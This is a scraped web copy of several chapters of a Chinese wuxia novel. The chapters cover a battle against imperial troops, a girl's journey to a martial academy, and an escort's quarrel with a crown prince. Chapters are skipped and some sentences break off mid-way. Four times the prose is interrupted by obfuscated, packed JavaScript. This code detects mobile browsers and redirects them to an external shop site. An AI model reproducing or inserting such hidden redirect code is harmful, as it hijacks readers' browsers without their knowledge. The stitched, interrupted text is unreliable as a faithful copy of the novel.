“我不!”此刻冯兰若为朋友两肋插刀的江湖属性大爆发,叫嚷道,“他杀英雄,就不是好人。我需找他报仇才对,怎能在他眼前苟且偷生?” 恰在这时,体力已经快要耗尽的殷必达大喊一声:“后生,你若没法子了,就快来助我,我要守不住了。” “这就来!”那小厮赶紧盘腿坐好,再次准备运功。 也是在这时候,吴正拉住小厮,悄悄说了一句:“你亦不在朝廷通缉名单上,不用跟他们死拼。” 小厮摇摇头:“我有必须要死的理由。” 说着,他再一次开始运功,专心辅助殷必达。 冯兰若突然抬头道:“吴大侠,我想明白了。大不了,我一会儿就跟你们一起死了,和大侠死在一起,我也算是当了大侠。” 吴正不接她的茬,而是望着殷必达,说:“我们这些人里,就属我派掌门吴方,和恒山派殷必达最厉害。吴方掌门的掌法,我们已然见不到了。殷必达的剑法,再过一个时辰,大概也要绝迹江湖了。小娃娃,趁着还有机会,仔细瞧瞧殷必达的恒山剑吧。” 远处,正在厮杀的殷必达似乎听到了吴正的声音,他突然腾出手来正了正衣襟,擦了擦脸上的血迹,之后,他陡然转换招式、放慢速度,一边御敌大吼:“恒山剑法第一式,迎风挥扇!左手握剑指,左脚后撤,弓步屈膝……” “第二式,金花落地,左脚蹬地,右脚虚部向前,右手以腕为轴,剑尖前挑……” 冯兰若看痴了,不自觉的捡起一根棍子握在手里,站起身来模仿殷必达的身法。 “最后一式,天地白驹……收!” 冯兰若跟着殷必达的招式,“剑”收腰间,上步收势,并步还原,一套动作完成后,才感到体力有些透支。 恰在这时,只听殷必达朗声道:“二十二年前,你沈家朝廷杀我七百三十八名恒山弟子,灭我师门。时至今日,我已杀足沈家走狗七百三十八名。师父,我派大仇得报,徒儿我,终于有脸来见您了!” 他说罢,翻转手腕,先是打了一个极漂亮的剑花,旋即,竟将剑尖狠狠刺入自己心脏。 “师父,徒儿终于能回归师门了……” 冯兰若的看着殷必达的尸首,惊诧之余,脑中突然闪过盲爷爷说的话:“娃娃,你还小,没必要急着知道结局。” 她尚有时间胡思乱想,那小厮却喘着粗气急忙忙跑了过来:“吴长老,冯姑娘,此前殷大侠一番猛攻,东北方向的兵力已经有些薄弱,小生一丝真气尚在,你二人跟着我,说不定有机会东北方向拼杀出去。” 吴正摇摇头:“不必了,我这一条老命,不值得。” 那小厮还想说些什么,吴正却道:“我知道你的门派,那个门派的弟子,都爱穿白衣,还都是风流倜傥、旷达不羁之辈,想当年,你们派那些年轻人在江湖上横冲直撞,可招女孩子喜欢了。” 小厮怔了怔,有句话卡在喉咙里,就是说不出来。 吴正年过七旬,早就有了堪破世事的能力,小厮想说什么,他也能,猜个大概。 他笑道:“常山派的弟子脾气都不小,当年,你我两派可没少打仗,我掌门和你家老掌门还单挑过呢,不过他败了。我那 8. 你是公主? 《闻说江湖老》全本免费阅读 就像是一场大梦,梦醒之后,每个人都消失不见。 茫茫山崖间,只余了抹不去的血迹。 有朝廷将士的,也有二十八名江湖人的,尚未干涸的血迹交融在一起,好像血与血之间,本也没什么区别。 但是人与人之间,却有区别。 有的人叫将士,有的人叫江湖余孽。 这两个词是冯兰若新学的。 怎么学的,自然是从梅英处学来的。 大军撤离之前,梅英说:“即日起,二十九名江湖余孽已全部清除,回营后我会上书为众将士请功,杀敌有功者重赏,英勇捐躯者厚葬。” 众将士躬身行礼,大呼主将英明,之后,秩序井然的打扫战场。 说完这几句话,梅英终于分出几分心思来,走到冯兰若身边。 冯兰若身边躺着吴正的尸首、小厮的尸首,除此之外,还有两个包袱。两个包袱里都被烧焦的遗骸。一个是鸣笳的,一个是吴方的。 梅英先问冯兰若:“小儿,你到底是谁?为什么出现在这里?” 冯兰若努力做出抽噎的样子,道:“我是鸣笳少侠的朋友。听说他遇难,来寻他的尸骨。” 梅英自言自语:“他这人就是古怪,和黄口小儿都能交朋友。” 冯兰若有些不满:“当世的大侠和未来的大侠交朋友,天经地义。” 梅英自然不会和她争辩,转而望着一地尸首,问:“你和这些人认识吗?” “之前从没见过。”冯兰若道。 她没说谎,之前确实从没见过。但是她也没说全:她其实已经认识这些人很久很久了,在盲爷爷的故事里。 梅英仔细端详了一下这个小娃娃,最终只是收好鸣笳的骸骨,之后调转马儿,不再管她。 冯兰若自己都说不清楚,梅英放过她,究竟是因为自己太过年幼、还是因为自己是鸣笳的朋友,还是,因为吴正临死前跟梅英说的那一番话。 那会儿,各路英雄好汉加之那个小厮都死在了大军的不懈攻击之下。 几千个将士的包围圈里,就只剩下了吴正和冯兰若两个人。 吴正不惧也不慌,把剑架在冯兰若脖子上,跟梅英说:“你不会打架。” 同一天第二次听到这样的话,梅英捂着伤口,勃然大怒。 “恒山剑法,你一招也招架不住,当真白学了那么多年武功。”吴正继续激他。 梅英年少气盛,一听这话即刻想要辩白:“我武功一向很好,方才不过是我疏忽大意,且对恒山剑不够熟悉,这才给了贼人可乘之机。再战一回,贼人未必能赢我。” “没法儿再战一回了,殷必达死,恒山剑绝迹,任你修成绝世武功,这辈子都胜不了恒山剑了。” 梅英竟有一瞬间的怅然。 “除非你愿意再等十年。”吴正说,“这个小儿天资过人,恒山剑法,她已经悉数偷学了去。再过十年,等她长大,说不定你们可以一较高下。” 梅英不答话。 “你若怕了,那我这就将她杀了。你是将军,为了保住自己的好名声,杀个小儿不在话下。”吴正刻意把这话说的很大声,说到在场将士都能听得清清楚楚。 他说完,把剑又逼近了冯兰若一寸。 “且慢!”梅英道,“稚子无辜,我不杀。但你这逆贼,为求活命以小儿相要挟,岂不无耻?” 吴正突然笑了:“我没想活。我只是不想让你杀人杀的太痛快。” 冯兰若疑惑的抬头看吴正,就在那时,吴正被梅英的长枪.刺.穿心脏。 …… 晌午太阳最毒,南郊没了树荫遮蔽,更是酷热难耐。 几架马车吱呦吱呦,走的不快不慢。 最前面的马车上,一个端庄秀丽的姑娘掀开车帘,心事重重的望着窗外。 “公主,您还是把车帘放下吧,晨间这里才经过了一场恶战,听说死了不少人呢。您就别看了,仔细染了晦气。”一个婢女劝道。 “就是,这件事当真晦气,咱们悄悄走小道本是为了避开城中混战的,谁承想,偏偏这场仗就打在了咱们走的这条小道上。” “怕什么,等出了紫阳关,咱们日日都得走今日这样的血路。”微月公主轻叹一声,眼睛里,是掩饰不住的愁容。 “公主宽心,咱们大炎朝强盛,勒莎国不敢亏待公主。”婢女道。 微月公主苦笑一声,道:“是啊,执棋人若厉害,棋子自然能活的长些。” 婢女正要再劝,突然间发现了什么,指着车外道:“公主快看,血泊间坐着一个小娃娃。” “快,去看看。”公主道。 挂着鸳鸯车帘的雕漆马车停在冯兰若身前,在随从的护送下,身着华服的微月公主走下马车。 “小娃娃,你怎么一个人在这里,你父母呢?”微月公主蹲到冯兰瑞面前,柔声问。 掉漆马车,鸳鸯帘帐,凭借昨日在大武宗偷听来的信息,冯兰若一下子就认出了这是真正的公主车辇。 “你是公主?”冯兰若问。 微月公主有些吃惊:“你能认出我?” 冯兰若点点头,之后想起了什么,严肃道:“公主当心,公主的车队里混进来了坏人,他们今日要偷走公主第三架马车里的红嫁衣!” “红嫁衣?”微月公主微微皱眉。 “对,就是红嫁衣,那件绣着武林秘籍的红嫁衣!”冯兰若激动道。 公主和身边的心腹侍卫对视一眼,侍卫会意,赶忙带人去搜查。 过了一会儿,果然见几个侍卫怒气冲冲的押着两个壮汉回来。 冯兰若定睛一看,这俩人果然就是昨日在大武宗遇见的那两个冤家。 “回禀公主,有两个贼人藏在装衣物的那架马车里,鬼鬼祟祟的在翻找东西。” 公主眼里浮现出惊讶神色,她赶紧起身,亲自去第三架马车里检查一遍。 待确定东西都完好无损,这才神色稍定,对侍卫道:“这俩人先好好看守起来,等和大部队汇合之后我亲自审问。” “是。” 侍卫领命退下。公主拉起冯兰若的手,疑惑道:“小娃娃,你怎会知道这 9. 官老师收了个小徒弟 《闻说江湖老》全本免费阅读 有公主出面帮忙,去京城的路变得畅通无阻,冯兰若在侍卫的护送下,快马加鞭八日,终于到达京师。 那侍卫原也是大武宗出身,他熟门熟路,入京当日就带冯兰若找到大武宗正门。 彼时大武宗正在授课,大门口有专人把守。侍卫掏出公主手书,向门房说明来意。 门房见侍卫拿的是公主手书,不得不重视,先是着人进门禀报,很快又出来,和和气气的跟他们解释:“今日着实不巧,大武宗的宗主、副宗主都还没下朝,剩下的教师也不敢私自放你们进来,小的也没办法,还请你们在附近稍作等待。” 门房是照章办事,冯兰若他们也没什么异议,乖乖在一旁的凉亭中喝茶等待。只是冯兰若年纪小,又是初来京城,她按耐不住好奇,没坐一会儿就央求侍卫陪着她参观一下这条街。 大武宗坐北朝南,横跨一整条街,街北是教习武艺之处,街南是校场和擂台。侍卫告诉冯兰若,每年三月,在这里会举行春擂,春擂分兵器科、拳法科、理论科和全能科,学员可以选择只考一科,也可以选择四科全考。 四科全考者,前二十名都会得到入朝为官的机会。 只考一科者,如若表现突出,则会由三军或六部的长官直接挑选并纳入麾下。 “届时你就会发现,怎么报名,怎么考试,里面全是学问。像那些无权无势又不善交际的寒门子弟,他们通常会选择四科全考,这样虽然压力大些,考中的几率小些,但好在公开透明:百官和市民都看着,只要能打进前二十,那一定就能封官。” “那考单科呢?单科难道不公平吗?”冯兰若继续追问。 侍卫想了想,道:“单科,那可是神仙打架哟。” 这边冯兰若和侍卫正在街头说着话,街口处,两个男子正有说有笑的向大武宗走来。 “这时辰你该在大武宗内授课才对,跑来接我作甚?”说着话的男子手牵骏马,身着紫色官袍,相貌堂堂,一身正气。 另一个男子摇着一柄玉竹折扇,身着白衣,丰神俊逸,眉眼风流。他听了左侧男子的话,无所谓道:“那几个大徒弟明年春擂,我不在他们一样练得刻苦。至于今年才收的那几个小的,里头有个叫雕弓的,那小男孩又刻苦又会替我分忧,有他在,我就算日日不在宗院,也不会出什么乱子。” 紫衣男子板着脸,道:“待会儿于宗监去查你,你最好也这么跟他解释。” 白衣男子一笑,傲娇道:“我如今可是宗主挚友,有你罩着,谁敢查我?” 紫袍男子还想再反驳些什么,白衣男子却坏笑着抢了话头去:“你今日怎么这么晚才下朝?莫不是叫什么事给绊住了?叫我猜猜……定是朝里哪个老头子又看中了咱们年少有为的侯大人,要给自家女儿说亲吧?” “你这话太离谱。”侯意平道:“是因为左仪诛逆贼有功,圣上要擢他为吏部尚书,我觉得此事不妥,这才留下和圣上据理力争了几句。” 官晏宁观侯意平神色,便知侯意平今日抗议无果。他也不多评价什么,只是收敛折扇,拿扇骨在侯意平额间点了一下,道:“你这张嘴,什么时候能消停些。” 侯意平被偷袭,立刻出招攻击官晏宁手腕,几招之内夺来了他手上的折扇,他把折扇用力甩开,一边扇风一边昂首道:“世上不合理之事太多,我都不说,还有谁敢说。” 官晏宁折扇被抢,正欲做出气恼模样找机会出招夺回,谁知就在此时,他发现了在街上闲逛的冯兰若。 “小娃娃,你回过头来。”官晏宁拉着侯意平来到冯兰若跟前。 冯兰若疑惑回头,官晏宁从头到脚打量她一番,之后惊喜道:“侯意平,侯宗主,我今日可是发现了一个武学奇才!” 侯意平看傻子似的看了官晏宁一眼。 官晏宁冲侯意平嘻嘻一笑,继而蹲下来,真诚而急切的跟冯兰若说:“小娃娃,我是大武宗八品教师官晏宁,我武功很高,你可愿意拜在我门下学习武功?” 冯兰若不急着回答,而是问:“你是鸣笳大侠的老师吗?” 官晏宁点头:“我就是鸣笳少侠的师父!” “好,那我也要拜你为师!”冯兰若道。 “这娃娃爽快,我喜欢!”官晏宁说着,一把举起冯兰若,抱着她进了大武宗,穿过正在上课的各个宗院,径直来到专供侯意平休息的宗主小院。 小院里没什么人,官晏宁把冯兰若带到书房,侯意平把马儿在院外栓好,之后反手把书房的门给锁了上来。 官晏宁回头得意洋洋的瞅着侯意平:“怎么样宗主,我又收了个徒弟,还不快快给我徒弟登记入册!我瞧她也就六七岁的年纪,就和雕弓他们同辈,叫满月吧。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12525867|132809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过来,他忽然发现,方才白衣人拿的那把锈迹斑斑的玄铁剑,竟变成了一把寒气逼人,闪亮刺眼的白铁剑。 “摘星剑!是摘星剑!啊!小的没害过侯大……”见到此剑,那官员瞬间吓得瘫倒在地,战战兢兢的未把话说完,对面的白衣人便一剑刺入了他的心口,那官员瞬间毙命。 “忘了告诉你,我给这剑改了个名字,叫意平剑。”白衣男子认真的擦净剑上的血迹,声音清亮中带着几分悲怆,忽然抬头看看暗色的天空,叹道,“还差两个人,哦不,三个人了。快了,快了,就要结束了。” 22. 满月接旨 大漠苍茫,可信马由缰。 一名身着赤色衣裙的女子正骑马驰骋在大漠深处。直至烈日当空,她热得不行了,方勒住那匹小红马,掏出葫芦灌了几口酒。她觉得不过瘾,又把剩下的酒近数浇到脸上,这才消了几分暑热,再度扬鞭策马,踏上归程。 “小冯女侠,您回来啦!”一踏进胡记镖局,不少镖头向她问好。 满月一边热情的和他们打着招呼,另一边却纳闷,镖局里为何突然多了几十个装满黄金的箱子。箱子从正堂蜿蜒排列至镖局门口,金光灿灿。 “冯女侠,您可是回来了。今儿个有个大买卖等着您接呢!”总镖头胡叔一边说着,一边示意她借一步说话。 “哪的活儿,多少货?怎么给这么多金子?”满月问。 “不是货,是个大活人,是这世间的大贵人!”胡叔道。 “人?我不接人!多少钱也不接。活人磨磨唧唧,斤斤计较,最麻烦了!何况那些富贵人细皮嫩肉的最是娇贵,赶不了路的!” 胡叔赶紧截住满月的话:“诶,这话此时可说不得。女侠您有所不知,写这道圣旨的人,是当朝皇帝,雇您保镖的人,也是当朝皇帝。我固知您不喜,可这是圣旨大过天,违背不得。” 满月一听圣旨大过天,当场就不乐意起来:“他们爱唬谁唬谁去!皇帝懒惰,左仪专权,如今那些乱七八糟的圣旨里谁知有几句是圣意,几句是以权谋私?这样的圣旨于我而言就是一张废纸,我偏不接旨,他们能奈我何!” “哎呦喂我的姑奶奶,这话您可千万别再说啦!您功夫好,自是有这本事的。可若您一抗旨,咱镖局上上下下几十口人,就都活不成了。姑奶奶,老身求您啦,您行行好,接了这生意可好?”胡叔一边劝着,一边捧起了圣旨。 满月随手把圣旨拿过来,笑道:“胡叔莫怕,我满月游戏世间这么多年,怎会连几条人命都保不住?有我在,不论听不听那些人的吩咐,咱们都能好好活着。” “对对对,小冯女侠您最厉害。”胡叔见满月拿了这圣旨,心下稍宽,劝道,“这圣旨来都来了,就算你不接,好歹也看看里面写了什么,是不是?” 满月此时倒是没有多想,随手就展开了这卷圣旨。 圣旨说,远嫁塞西国的微月长公主思念皇侄沈曜,陛下手足情深,特许沈曜入塞西国探望,然而远走西域对皇子来说太过危险,这才请民间侠女满月随行,保护太子。 “太子?长公主?手足情深?”满月讥笑一声,皱眉问,“胡叔,这破玩意是谁送来的?” “就是皇家的人啊。据说是万岁爷身边的公公,老儿我偷看看过他的腰牌了,假不了!”胡叔说。 “胡叔,跟您说个秘密,微月长公主已经死了一个多月了。” “什么!那这圣旨?”这回轮到胡叔傻眼了。 满月倒是云淡风轻:“塞西国秘不发丧,胡叔你也只当不知道这事儿就行。” “还有,这圣旨,我接了。”满月说着,把圣旨往怀里一塞,从胡叔还没上锁的小木箱里抓一把银票,便大步流星朝她的小红马走去,只留不明所以的胡叔一脸震惊的站在原地。 “不是,冯女侠,人都没了你接旨做什么?”冯叔反应过来。 满月跳上马,扬眉一笑:“去拐了那个小太子呀!” 胡叔急得胡子都竖了起来:“冯女侠,冯姑娘,你先下来,别做傻事!” “您放心,我不做傻事,只做善事。”满月道。 胡叔追着小红马,喊:“那你……你说明白点呀,到底怎么回事?” 满月扬起马鞭,回眸,笑得明媚又张扬:“我呀,兼济天下去!” “女侠女侠,你等等,不说也不要紧,要不要再带点盘缠,或者再带几个人助你?女侠……”胡叔的声音越来越小。 “麻烦!好好等我凯旋吧……驾……” 满月策马疾驰,一路奔向京城。 长安,东宫。 “擎苍……擎苍?擎苍!” 喊声未落,只见宫门前人影一晃,小侍卫擎苍一溜烟的冲到太子沈曜的书桌前。 “太子殿下,小的来啦!”擎苍瞧着太子迷离恍惚的眼神,又瞅瞅桌子上翻开的《大学》底下压着的画本,揣度着太子应当是看着看着画本犯了困,想要睡一觉。他立刻便拍胸脯道,“殿下,您就放心吧,皇后娘娘此时应当在陪皇上用早膳呢,还得过一会才能来见您,小的就在外面迎着,您在里面安心歇息便是。” 太子听了摆了摆手,道,“不是为了这个,就是问问,此番西行,东西都收拾好了吗?” 擎苍依旧是笑着,向前凑了凑,压低了声音,道,“殿下只管放心,近日小的通过各种渠道,新淘得志怪小说,武侠小说,言情画本,传奇故事画本等共二十八箱,都小心的压在了圣贤书底下。雕弓说您肯带二十八箱圣贤书不合情理,所以有几个箱子小的又找了些兵书或古籍压上了。” “还有啊,您平日里喜欢玩的蹴鞠,空竹,弹弓,陀螺什么的,小的也藏在一些宝贝的底下了。” 沈曜拍拍擎苍的肩膀:“很好,很好。有了这些东西,咱们在路上一定能玩得很开心。对了,今早怎么不见雕弓?” “他说是要回趟家,今儿一早就走了。”擎苍答。 “也是,雕弓父母自告老后就居住在京郊,此番远行是该去向他们道个别。”沈曜点点头,即刻又冲雕弓说,“你快出去帮我把风,趁母后没来,我要先补会儿觉。” “好嘞!”擎苍刚欲转身离开,只听外面小太监大喊一声,“皇后娘娘架到!”就见太子闻声立刻打了一个机灵,以迅雷不及掩耳之势把话本严严实实压在《大学》底下,然后挺直腰板,聚精会神朗读起圣贤书来。 “《康诰》曰:‘如保赤子。’心诚求之,一家仁,一国兴仁;一家让,一国兴让;一人贪戾,一人定国……” 皇后娘娘握着手绢往桌上一拍,沈曜一哆嗦,读书声戛然止住。 “读个书读漏好几句,说,是不是又偷玩了?” 沈曜“嗖”得一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12530984|132809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下子站起来,先行礼,然后尴尬陪笑:“母后,儿臣……儿臣每每到明日就要离京,此后好几个月都不能侍奉您和父王,儿臣就忧思难耐,以至于夜不能寐,晨起更是没法安心读书。” 皇后那手指戳了一下沈曜的脑袋,叹道:“算了,你明日就要走,我今日便不和你计较。” 沈曜刚要松一口气,却见皇后的蔻丹指甲指着“如保赤子”四个字,问他:“你且说说,这个词是什么意思?” 沈曜揉揉眼睛,答:“这句从前侯先生讲过,好像是说,要像保护新生的婴儿一样保护天下子民。” “我儿虽然贪玩,好在记东西扎实。”皇后拉椅子坐在沈曜身边,温声道,“从侯先生过世之后,新来的先生教你四书五经,只叫你死记硬背,从不耐心讲解,你这样学,枯燥无味也情有可原。” 沈曜狠狠点头:“母后,你肯这么说,是不是父皇要给我换先生了?” 皇后避而不答,只是把书又往后翻了几页,指着一处句子问他:“‘有德此有人,有人此有土,有土此有财,有财此有用。’你且再给我讲讲,这几句话是什么意思?” 沈曜答:“侯先生说,这句话是告诉我们,君子要培养高尚的道德品质。有了道德这才会有臣服于我朝的子民,有了这些子民这才会有广阔的国土,有了土地这才会创造出财富,有了财富这才会有我们生活所需的吃穿用度。” 皇后笑着,又戳了一下沈曜的脑袋,道:“一口一个侯先生,你就不能有点自己的想法?” 沈曜委屈道:“母后,这些东西是人家写的,是先生们硬要给我讲的,原本就跟我没有任何关系,我为何还要有自己的想法?我能把他们的想法都背过就已经很不容易了。” 皇后愣了一下,刚欲责怪儿子,突然又想到什么,软下声音循循善诱:“曜儿,你说这些东西是人家写的,不是自己的,所以才不愿意去学。但是你可知道为什么人家能写出这些东西来,你就写不出来?” 沈曜茫然:“母后,儿臣不知。” “孔老夫子,孟老夫子,他们的出身比不得你,这让他们从小就见到了很多人世间不善良的一面。他们还都曾周游列国,走遍天下,见过不同的风土人情,熟悉各地的地理环境,五湖四海在他们脑海中有具体的框架,民生多艰他们有真切的体会,他们有海洋一般广阔的人生阅历,这才叫他们拥有了取之不尽用之不竭的思想精华。” “我的曜儿,你长于深宫,养尊处优,现在对这些圣贤书没什么见解,还不怨你。但是,读万卷书,行万里路,这次远行,你不能只放肆玩乐,更要用心观察外面的世界,观察百姓的生活是什么样的,观察地方官员又是怎么为政的,除此之外,你还要思考,怎样才能为百姓创造更好的生活,怎样才能更好的管理四方国土。你要明白,为君之道,不止在庙堂,更在远方。” “我的曜儿,母后这些话,你可听明白了?” “啊……”沈曜打了个哈欠,应付道,“听明白了!母后放心,我在路上一定不贪玩!” 23. 针锋相对 强抑住内心的雀跃之情,规规矩矩熬过了繁琐的送别礼节,沈曜终于踏上了梦寐以求的旅程。 在四四方方的长安宫里圈了十六年,今日,他终于迎来了一次属于自己的远行。在一百名侍从的簇拥下,他坐在马车里,偷偷把车帘掀开一个小口子,一边赏街景,一边兴致勃勃的听擎苍讲着长安城里的街巷民情,奇闻趣事。不知不觉马车就驶到了西华门外。 “吁!”忽然之间,马车被擎苍勒停,驾马行在最前方的侍卫雕弓返至车前,先向沈曜规规矩矩行了一礼,之后说道:“禀太子殿下,胡记镖局的满月女镖头到了,正在前方准备接驾。” 沈曜看风景看的正起劲,骤然被打断,本就不大痛快,又听到来人是什么不入流的女镖头,更是不明所以,脱口便说:“区区一个小镖头,怎么能攀得上我堂堂大炎太子?她定是搞错了吧,咱们赶路要紧,不必管她。” 雕弓还记得临行前皇帝向沈曜介绍满月时的情景,那时的沈曜一心只想着赶紧出发,也不听皇帝到底说什么,只是点头敷衍。皇帝的究竟说了什么,他家太子怕是一点也没往心里去。 雕弓微微一笑,正要开口,坐在马车前的擎苍就已经抢着劝道:“殿下千万不要这样讲,小的知道方才您应付那些礼节应付的疲乏,该记住的事情小的都替您记得呢。万岁爷方才特意叮嘱过,西行路上困难重重,咱们东宫又没有人走过这条路,所以这一路必须要有个熟悉西边地理环境的人护着您。满月女侠常年行走江湖,有功夫,讲义气,三年间保过的镖车从来没出过一点岔子,她是最靠得住的。故,万岁爷特派她随驾左右,保您这一路平安。” “行吧行吧,那叫她跟着便是。”沈曜摆摆手,依旧只想快点赶路。 “殿下,满月镖头说,她还想见见您。”雕弓说话时,就已注意到了乾曜不耐烦的脸色。果然,沈曜听罢脱口便说了一句,“刁蛮民女,真是不知天高地厚!” 擎苍见殿下生了气,心里埋怨雕着弓今日出乎意料的不会看脸色,面上却赶紧劝道:“殿下您别生气,俗话说得好,这在家靠父母,出门靠朋友。嗯……若是在长安城里,小的我就是带您连玩三百六十天都不带有玩重样的,可若一出城,咱可真是黑瞎子掰棒子——两眼一抹黑了。听说满月女侠对这一路熟悉的很,您不如就见见她,没准后面的一路,还得靠她带您玩呢!” “擎苍,你怎么这样向着她?”沈曜自己也不知道为什么,一说要他见满月,他便从心底生出一股抗拒之情。或者说,此时此刻,他正在观赏新鲜事物的兴头上,不论谁来打断他,他都有些不情愿。 他看看身边的擎苍,自作聪明道:“你说的也有几分道理,既如此,就由你替我见见她吧。” 擎苍还未来得及回话,众人只听到一阵马蹄嘶响,一匹小红马载着一名红衣女子横冲直撞的闯进了护送太子的百人方队。许是因为那红衣女子的速度太快,一百来人的队伍瞬间方寸大乱。 见到这一状况,擎苍虽然害怕,却赶紧张开双臂,用身体保护住太子。雕弓显然更淡定一些,先是大喊一声“护驾!”,紧接着从身后抽出一直背着的大弓,亮开架式随时准备出招。 然而,那马上的女子却只是嗤笑一声,丝毫不管众人表现,驾着马冲向太子,直至那小红马的马头离太子马车前的高头大马仅有一寸远时,她才满不在乎的勒了勒马,轻声对马儿说了句:“好了,快停下吧。” 那马儿似乎听懂了,嘶叫一声,当即高高的扬起前蹄,扬到快要像人一样站立,又猛的落下,终于稳稳地停在太子的马车面前。 “哈哈哈,小小太子,好大架子!”那红衣女子刚停好马,立时大笑道,“不过小太子你可要搞清楚了,我满月是你那糊涂老子花大价钱请来的,不是老远赶着来巴结你的,你那官家人的臭架子最好给我收一收。” “你放肆……大胆狂徒……谁允许你这么跟本太子说话了?还有,你竟敢对父皇不敬,若是父皇知道,定会狠狠的治罪于你。”经满月一吓、一激,沈曜早已脸色苍白,怒气冲冲。他再也顾不得什么,坐在车上便训斥起满月来。 满月依旧满不在乎,随便玩弄着马鞭,说道,“出门在外还想倚靠老子,算什么英雄好汉!” “你……”沈曜长这么大,除了父母和先生,还从未有人对他如此不敬,他被气得半天说不出话来,恶狠狠地瞪了满月半天,突然瞪出点不对劲来。 “我怎么看你这样眼熟?是不是在哪里见过你?”他问。 雕弓赶紧御马上前:“回殿下,这位就是三年前大闹春擂的满月女侠,那时候殿下随皇上旁观春擂,大概曾远远见过一面。” “原来是她!”沈曜道。 “雕弓好个忠仆。”满月阴阳怪气道。 “诸位,要不我们先赶路吧。”擎苍弱弱劝道。 “不行!”满月和沈曜的声音同时响起。 满月不管沈曜,抢道:“我既然接了这破活,今日就得把话说个明白——你们要想活着走到塞西国,身边这一百个小鬼,一个也留不得!” “住口!”沈曜跳下马车,喝道,“你这等从小就罔顾圣恩、诽谤朝廷之辈,有什么资格评判我的护卫?他们从入仕起就追随于我,从来都忠于职守,我怎能因你一句诳语就抛弃他们?” 满月瞅着眼前这只纸老虎,笑得漫不经心:“你家朝廷不给力,江山也不怎么太平。一路往西,最多的就是强盗山匪,你领着一百多人浩浩荡荡招摇过市,一不小心就会叫匪盗给盯上。像你这种细皮嫩肉的小公子呀,若是走了桃花运,说不定还能叫哪家女山匪捉去做压寨丈夫呢!” 一句“压寨丈夫”,叫沈曜羞得满脸通红。擎苍也是硬忍着,这才没笑出声来。 “更何况,防人之心不可无,说不定,还没遇着外贼,你们就叫这里头的内鬼给一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12554813|132809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 锅端了。” 擎苍观察得仔细,他注意到,说这些话时,满月眯着眼打量了众人好几眼。那一百来人里满月究竟扫过了哪些人,他看不全面。但他真切的的看到,满月说到‘防人之心不可无’一句时,她的目光恰巧落在雕弓脸上,而雕弓竟微微低头,并不与满月对视。 擎苍又偷偷瞧瞧自家太子,只见沈曜脸涨得通红,但咬着唇就是不说话。擎苍揣度,大概是以前从来没有人敢忤逆沈曜,沈曜受人供奉的舒坦日子过多了,偶尔遇到这种不怕他的人,他反而不知该如何开口教训。 擎苍转转眼珠,试探开口:“太子,要不我去劝劝满月镖头?咱们先赶路,关于这些侍卫,可以从长计议。” 此时沈曜想要教训满月的“长篇大论”已经在脑海里组织得差不多了,他伸胳膊在擎苍身前一挡,说:“不用你劝,本太子自有决策。” 他说完这句,昂首挺胸往满月马前一站,清了清嗓子,学着父皇平日教育自己时的样子,指着满月斥道:“你这狂徒,当真危言耸听。我大炎朝自建立起就国泰民安,路上哪会有强盗贼子拦路?更何况,就算有险情,我这一百名随从,不乏大武宗历年选拔来的精英,他们自可保本太子无事。况且他们对我言听计从,谁也不似你这般无理取闹。我沈曜就算是瞎了眼,也不会撇下他们来选你!” 擎苍听完,目瞪口呆的瞧着沈曜。雕弓更是满眼欣赏之情,悄悄的向沈曜说了一句:“太子,您开窍了。” 沈曜本就觉得自己刚刚的发言声色俱厉,颇具皇家风范,自我感觉极为良好,一见擎苍雕弓各自的反应,更是洋洋得意,满以为凭自己的翘舌如簧,就算镇不住满月,也总能气她一气。 谁知,满月听罢,只是眯着眼睛,轻轻嗤笑一声,一副无所谓的态度,说道,“该说的我已经说了,这啰嗦又麻烦的活儿我本也不稀罕。既然你不情我不愿,我再不管你死活就是。” “如此甚好,正和我意。”沈曜本还想再气她几句,结果他还没想好怎么说,满月就在把自个儿的话讲完之后,一扬马鞭,越过他马车,直接策马向西华门奔去。 沈曜站在马车前,只觉得满月一头乌黑的长发险些打到他的马车,而刚刚才想好的一番话,不知怎的竟全都忘记了。 忽然,满月又轻轻勒了一下小红马,扭头望向沈曜,高声喊道:“小太子,再给你一次机会,你当真不听我的话么?” 沈曜显然是没有想到满月还会再回头问这么一次,他呆呆的注视着朝霞映照下的那位红衣少女飒爽的侧颜,竟愣了几刻。 但他很快就反应过来,自己是个有立场的人——决不能向这个女镖师屈服! 于是他生怕满月走远了听不见似的,立刻扯着嗓子喊:“你快走远些,便是我沈家王朝倾灭,我身边无一人可用,我也断不会和你一块儿走!” “我记下了,天涯万里,你爱怎么走就怎么走吧。” 24. 救命稻草 京城这两年新开了一家万香楼,满月最爱这家酒楼的梨花肘子和白椒酿,每逢入京,她一定要来这里大快朵颐。 